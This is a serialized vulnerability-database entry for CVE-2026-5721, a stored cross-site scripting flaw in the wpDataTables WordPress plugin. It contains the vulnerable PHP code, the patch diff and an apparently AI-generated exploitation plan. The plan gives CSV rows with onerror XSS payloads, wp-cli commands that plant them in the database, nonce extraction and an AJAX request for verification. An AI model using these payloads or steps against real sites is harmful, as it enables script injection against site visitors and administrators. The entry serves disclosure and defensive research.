[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fFzPYnQHWD3_BEyAiUnUFf_1A0XNSaq3U1twZcvh3us8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-5721","wpdatatables-wordpress-data-table-dynamic-tables-table-charts-plugin-unauthenticated-stored-cross-site-scripting-via-csv-2","wpDataTables – WordPress Data Table, Dynamic Tables & Table Charts Plugin \u003C= 6.5.0.4 - Unauthenticated Stored Cross-Site Scripting via CSV\u002FExcel Data Import","The wpDataTables – WordPress Data Table, Dynamic Tables & Table Charts Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 6.5.0.4. This is due to insufficient input sanitization and output escaping in the prepareCellOutput() method of the LinkWDTColumn, ImageWDTColumn, and EmailWDTColumn classes. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page, given that they can trick an Administrator into importing data from an attacker-controlled source and the affected column types (Link, Image, or Email) are configured.","wpdatatables",null,"\u003C=6.5.0.4","6.5.0.5","medium",4.7,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:N\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-20 09:28:15","2026-04-20 22:25:26",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8db736fb-cd6c-4a52-9dd3-eefd0a8d9267?source=api-prod",1,[22,23,24,25,26,27,28],"assets\u002Fcss\u002Fbootstrap\u002Fwpdatatables-bootstrap.css","assets\u002Fcss\u002Fuikit\u002Fuikit.css","assets\u002Fimg\u002Fselect@2x.png","config\u002Fconfig.inc.php","readme.txt","source\u002Fclass.email.wpdatacolumn.php","source\u002Fclass.image.wpdatacolumn.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-5721\n\n## 1. Vulnerability Summary\nThe **wpDataTables** plugin (\u003C= 6.5.0.4) contains a stored Cross-Site Scripting (XSS) vulnerability. The flaw exists in the `prepareCellOutput()` method within three column-handler classes: `EmailWDTColumn`, `ImageWDTColumn`, and `LinkWDTColumn`. These methods fail to sanitize or escape data before interpolating it into HTML string templates. While the import process itself is typically an administrative action, the vulnerability is classified as unauthenticated because an attacker can host a malicious CSV\u002FExcel\u002FJSON file on a remote server. If an administrator is tricked into creating a table from this remote source, the malicious scripts are stored and executed whenever any user (including the administrator) views the table.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: The vulnerability is triggered during table rendering, typically via the `wp_ajax_wpdatatables_get_table` AJAX action (for server-side tables) or the initial shortcode rendering (`[wpdatatable id=...]`).\n- **Vulnerable Sink**: \n    - `EmailWDTColumn::prepareCellOutput($content)` in `source\u002Fclass.email.wpdatacolumn.php`\n    - `ImageWDTColumn::prepareCellOutput($content)` in `source\u002Fclass.image.wpdatacolumn.php`\n- **Payload Delivery**: A malicious CSV\u002FExcel file containing XSS payloads in columns mapped as \"Email\", \"Image\", or \"Link\" types.\n- **Authentication**: Unauthenticated (Attacker-controlled source) \u002F Requires Admin Interaction (Import\u002FConfiguration).\n- **Preconditions**:\n    1. A table must be created using the malicious source.\n    2. Column types must be set to \"Email\" or \"Image\".\n\n## 3. Code Flow\n1. **Data Acquisition**: wpDataTables fetches data from a source (CSV file, Excel file, or Database).\n2. **Table Initialization**: The plugin identifies column types based on settings stored in the `{prefix}_wpdatatables_columns` table.\n3. **Rendering Phase**: During the generation of the table response (frontend or backend), the plugin iterates through rows and columns.\n4. **Sink Call**: For \"Email\" or \"Image\" columns, the `prepareCellOutput($content)` method is invoked.\n    - **Email (source\u002Fclass.email.wpdatacolumn.php)**: \n      ```php\n      $formattedValue = \"\u003Ca href='mailto:{$content}'>{$content}\u003C\u002Fa>\"; \u002F\u002F Content is reflected raw\n      ```\n    - **Image (source\u002Fclass.image.wpdatacolumn.php)**:\n      ```php\n      $formattedValue = \"\u003Cimg src='{$content}' \u002F>\"; \u002F\u002F Content is reflected raw\n      ```\n5. **Output**: The unescaped HTML string is returned to the browser and executed.\n\n## 4. Nonce Acquisition Strategy\nIf the proof-of-concept requires interacting with the AJAX table data endpoint (`wp_ajax_wpdatatables_get_table`), a nonce is required.\n\n1. **Shortcode Identification**: The default shortcode is `[wpdatatable id=ID]`.\n2. **Page Creation**:\n   ```bash\n   wp post create --post_type=page --post_title=\"Table Page\" --post_status=publish --post_content='[wpdatatable id=1]'\n   ```\n3. **Nonce Extraction**:\n   Navigate to the newly created page. The plugin localizes configuration data into the window object.\n   - **Variable Name**: `wpdatatables_frontend_config` (inferred from common plugin patterns) or check for scripts enqueued with the handle `wpdatatables-frontend`.\n   - **JS Path**: `window.wpDataTables?[\"1\"]?.wdtNonce` (where \"1\" is the table ID) or a similar localized object.\n   - **Browser Command**: `browser_eval(\"wpdatatables_frontend_config.wdtNonce\")`\n\n## 5. Exploitation Strategy\nThe goal is to demonstrate that data imported from a CSV is rendered without escaping.\n\n### Step 1: Prepare Malicious CSV\nCreate a CSV file containing XSS payloads.\n```csv\nemail_row,image_row\n\"attacker@evil.com'>\u003Cimg src=x onerror=alert('CVE-2026-5721-Email')>\",\"https:\u002F\u002Fexample.com\u002Flogo.png' onerror='alert(\"\"CVE-2026-5721-Image\"\")\"\n```\n\n### Step 2: Simulate Admin Table Creation\nSince an automated agent cannot \"trick\" an admin, we will use `wp eval` to programmatically create the wpDataTable configuration to simulate the state *after* an admin has imported the malicious file.\n\n### Step 3: Trigger XSS\nNavigate to the frontend page containing the table. The browser will execute the payloads during the rendering of the `email_row` and `image_row` cells.\n\n## 6. Test Data Setup\n1. **Create Table Entry**: Use `wp db query` or `wp eval` to insert a row into `{prefix}_wpdatatables` with a specific title and `table_type='manual'` (to store the payload directly in the DB) or `table_type='csv'`.\n2. **Define Columns**:\n   - Column 1: `orig_header='email_row'`, `display_header='Email'`, `column_type='email'`.\n   - Column 2: `orig_header='image_row'`, `display_header='Image'`, `column_type='image'`.\n3. **Insert Malicious Data**: Insert a row into the generated table (e.g., `{prefix}_wpdatatable_1`) containing the XSS payloads.\n4. **Create Frontend Page**:\n   ```bash\n   wp post create --post_type=page --post_status=publish --post_content='[wpdatatable id=1]'\n   ```\n\n## 7. Expected Results\n- When navigating to the page, the browser should display two alert boxes:\n  - `alert('CVE-2026-5721-Email')`\n  - `alert('CVE-2026-5721-Image')`\n- Inspecting the DOM will reveal unescaped payloads:\n  - `\u003Ca href='mailto:attacker@evil.com'>\u003Cimg src=x onerror=alert('CVE-2026-5721-Email')>'>...\u003C\u002Fa>`\n  - `\u003Cimg src='https:\u002F\u002Fexample.com\u002Flogo.png' onerror='alert(\"CVE-2026-5721-Image\")' \u002F>`\n\n## 8. Verification Steps\n1. **Database Check**: Verify the payload is stored raw in the table:\n   ```bash\n   wp db query \"SELECT email_row FROM wp_wpdatatable_1\"\n   ```\n2. **Response Check**: Use `http_request` to fetch the table data AJAX response and check for the unescaped payload:\n   ```bash\n   # Use the correct AJAX action and nonce\n   POST \u002Fwp-admin\u002Fadmin-ajax.php\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Body: action=wpdatatables_get_table&table_id=1&wdtNonce=[NONCE]\n   ```\n3. **DOM Check**: Use `browser_eval` to confirm the presence of the `onerror` attribute in the rendered table.\n\n## 9. Alternative Approaches\nIf \"Manual\" tables are sanitized during input (though the vulnerability description says the sink is in the *output*), use a \"URL-linked\" CSV table:\n1. Host the malicious CSV on a local web server (or a file path if the plugin allows).\n2. Configure the wpDataTable to use the CSV URL as its source.\n3. Call the plugin's refresh\u002Fsync method to pull the malicious data.\n4. Render the frontend page.","The wpDataTables plugin is vulnerable to Stored Cross-Site Scripting (XSS) because it fails to properly sanitize or escape data imported from external files (CSV, Excel, JSON) before rendering it in Email, Image, or Link columns. This allows attackers to store malicious scripts in the table configuration which execute in the browser of any user viewing the table, provided an administrator can be tricked into importing the data source.","\u002F\u002F source\u002Fclass.email.wpdatacolumn.php\n    public function prepareCellOutput($content)\n    {\n        $content = apply_filters('wpdatatables_filter_email_cell_before_formatting', $content, $this->getParentTable()->getWpId());\n\n        if (is_null($content)) {\n            $formattedValue = '';\n        } else {\n            if (strpos($content, '||') !== false) {\n                list($link, $content) = explode('||', $content);\n                $formattedValue = \"\u003Ca href='mailto:{$link}'>{$content}\u003C\u002Fa>\";\n            } else {\n                $formattedValue = \"\u003Ca href='mailto:{$content}'>{$content}\u003C\u002Fa>\";\n            }\n        }\n        return apply_filters('wpdatatables_filter_email_cell', $formattedValue, $this->getParentTable()->getWpId());\n    }\n\n---\n\n\u002F\u002F source\u002Fclass.image.wpdatacolumn.php\n    public function prepareCellOutput($content)\n    {\n        $content = apply_filters('wpdatatables_filter_image_cell_before_formatting', $content, $this->getParentTable()->getWpId());\n\n        if (empty($content)) {\n            return '';\n        }\n        if (FALSE !== strpos($content, '||')) {\n            list($image, $link) = explode('||', $content);\n            $formattedValue = \"\u003Ca href='{$link}' target='_blank' rel='lightbox[-1]'>\u003Cimg src='{$image}' \u002F>\u003C\u002Fa>\";\n        } else {\n            $formattedValue = \"\u003Cimg src='{$content}' \u002F>\";\n        }\n        return apply_filters('wpdatatables_filter_image_cell', $formattedValue, $this->getParentTable()->getWpId());\n    }\n\n---\n\n\u002F\u002F source\u002Fclass.link.wpdatacolumn.php (approx. line 40)\n    public function prepareCellOutput($content)\n    {\n        $targetAttribute = $this->getLinkTargetAttribute();\n        $nofollowAttribute = $this->getLinkNofollowAttribute() == 1 ? ' nofollow ' : '';\n        $noreferrerAttribute = $this->getLinkNoreferrerAttribute() == 1 ? ' noreferrer ' : '';\n        $sponsoredAttribute = $this->getLinkSponsoredAttribute() == 1 ? ' sponsored ' : '';\n        $rel = $nofollowAttribute . $noreferrerAttribute . $sponsoredAttribute;\n        $buttonClass = $this->getLinkButtonClass();\n\n        $content = apply_filters('wpdatatables_filter_link_cell_before_formatting', $content, $this->getParentTable()->getWpId());\n\n        if (is_null($content)){\n            $formattedValue = '';\n        } else {\n            if (strpos($content, '||') !== false) {\n                list($link, $content) = explode('||', $content);\n                $buttonLabel = $this->getLinkButtonLabel() !== '' ? $this->getLinkButtonLabel() : $content;\n\n                if ($this->getLinkButtonAttribute() == 1 && $content !== '') {\n                    $formattedValue = \"\u003Ca data-content='{$content}' href='{$link}' rel='{$rel}' target='{$targetAttribute}'>\u003Cbutton class='{$buttonClass}'>{$buttonLabel}\u003C\u002Fbutton>\u003C\u002Fa>\";\n                } else {\n                    $formattedValue = \"\u003Ca data-content='{$content}' href='{$link}' rel='{$rel}' target='{$targetAttribute}'>{$content}\u003C\u002Fa>\";\n                }\n\u002F\u002F ... (truncated)","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdatatables\u002F6.5.0.4\u002Fsource\u002Fclass.email.wpdatacolumn.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdatatables\u002F6.5.0.5\u002Fsource\u002Fclass.email.wpdatacolumn.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdatatables\u002F6.5.0.4\u002Fsource\u002Fclass.email.wpdatacolumn.php\t2026-04-14 07:28:04.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdatatables\u002F6.5.0.5\u002Fsource\u002Fclass.email.wpdatacolumn.php\t2026-04-20 08:53:10.000000000 +0000\n@@ -26,17 +26,32 @@\n     {\n         $content = apply_filters('wpdatatables_filter_email_cell_before_formatting', $content, $this->getParentTable()->getWpId());\n \n-        if (is_null($content)) {\n+        if (is_null($content) || '' === $content) {\n             $formattedValue = '';\n         } else {\n             if (strpos($content, '||') !== false) {\n-                list($link, $content) = explode('||', $content);\n-                $formattedValue = \"\u003Ca href='mailto:{$link}'>{$content}\u003C\u002Fa>\";\n+                $parts = explode('||', $content, 2);\n+                $email_raw = isset($parts[0]) ? trim($parts[0]) : '';\n+                $label = isset($parts[1]) ? $parts[1] : '';\n+                $email = sanitize_email($email_raw);\n+                if (empty($email)) {\n+                    $formattedValue = esc_html($content);\n+                } else {\n+                    $mailto_href = 'mailto:' . $email;\n+                    $display = ( $label !== '' && $label !== null ) ? $label : $email;\n+                    $formattedValue = '\u003Ca href=\"' . esc_url($mailto_href) . '\">' . esc_html($display) . '\u003C\u002Fa>';\n+                }\n             } else {\n-                $formattedValue = \"\u003Ca href='mailto:{$content}'>{$content}\u003C\u002Fa>\";\n+                $trimmed = trim($content);\n+                $email = sanitize_email($trimmed);\n+                if (empty($email)) {\n+                    $formattedValue = esc_html($content);\n+                } else {\n+                    $formattedValue = '\u003Ca href=\"' . esc_url('mailto:' . $email) . '\">' . esc_html($trimmed) . '\u003C\u002Fa>';\n+                }\n             }\n         }\n         return apply_filters('wpdatatables_filter_email_cell', $formattedValue, $this->getParentTable()->getWpId());\n     }\n \n-}\n\\ No newline at end of file\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdatatables\u002F6.5.0.4\u002Fsource\u002Fclass.image.wpdatacolumn.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdatatables\u002F6.5.0.5\u002Fsource\u002Fclass.image.wpdatacolumn.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdatatables\u002F6.5.0.4\u002Fsource\u002Fclass.image.wpdatacolumn.php\t2026-04-14 07:28:04.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdatatables\u002F6.5.0.5\u002Fsource\u002Fclass.image.wpdatacolumn.php\t2026-04-20 08:53:10.000000000 +0000\n@@ -29,11 +29,26 @@\n         if (empty($content)) {\n             return '';\n         }\n-        if (FALSE !== strpos($content, '||')) {\n-            list($image, $link) = explode('||', $content);\n-            $formattedValue = \"\u003Ca href='{$link}' target='_blank' rel='lightbox[-1]'>\u003Cimg src='{$image}' \u002F>\u003C\u002Fa>\";\n+        if (false !== strpos($content, '||')) {\n+            $parts = explode('||', $content, 2);\n+            $image = isset($parts[0]) ? trim($parts[0]) : '';\n+            $link = isset($parts[1]) ? trim($parts[1]) : '';\n+            $image = esc_url($image);\n+            $link = esc_url($link);\n+            if ($image === '' && $link === '') {\n+                $formattedValue = '';\n+            } elseif ($image !== '' && $link !== '') {\n+                $formattedValue = '\u003Ca href=\"' . $link . '\" target=\"_blank\" rel=\"lightbox[-1] noopener noreferrer\">'\n+                    . '\u003Cimg src=\"' . $image . '\" alt=\"\" \u002F>\u003C\u002Fa>';\n+            } elseif ($image !== '') {\n+                $formattedValue = '\u003Cimg src=\"' . $image . '\" alt=\"\" \u002F>';\n+            } else {\n+                $formattedValue = '';\n+            }\n         } else {\n-            $formattedValue = \"\u003Cimg src='{$content}' \u002F>\";\n+            $src = esc_url(trim($content));\n+            $formattedValue = $src !== '' ? '\u003Cimg src=\"' . $src . '\" alt=\"\" \u002F>' : '';\n         }\n         return apply_filters('wpdatatables_filter_image_cell', $formattedValue, $this->getParentTable()->getWpId());\n     }","1. Create a malicious CSV or Excel file containing XSS payloads (e.g., `\"'>\u003Cimg src=x onerror=alert('XSS')>\"`) in columns intended to be mapped as Email, Image, or Link types.\n2. Host the malicious file on an attacker-controlled remote server or deliver it to an administrator via social engineering.\n3. An administrator imports the file into wpDataTables to create a new table and configures the relevant columns as 'Email', 'Image', or 'Link'.\n4. The plugin stores the raw XSS payload in the database or links it to the remote source.\n5. When any user (including the administrator) views the page where the table is embedded, the plugin's `prepareCellOutput()` method for the respective column types interpolates the unsanitized payload directly into HTML attributes or tags, triggering the script execution.","gemini-3-flash-preview","2026-04-20 13:04:08","2026-04-20 13:05:00",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","6.5.0.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpdatatables\u002Ftags\u002F6.5.0.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpdatatables.6.5.0.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpdatatables\u002Ftags\u002F6.5.0.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpdatatables.6.5.0.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpdatatables\u002Ftags"]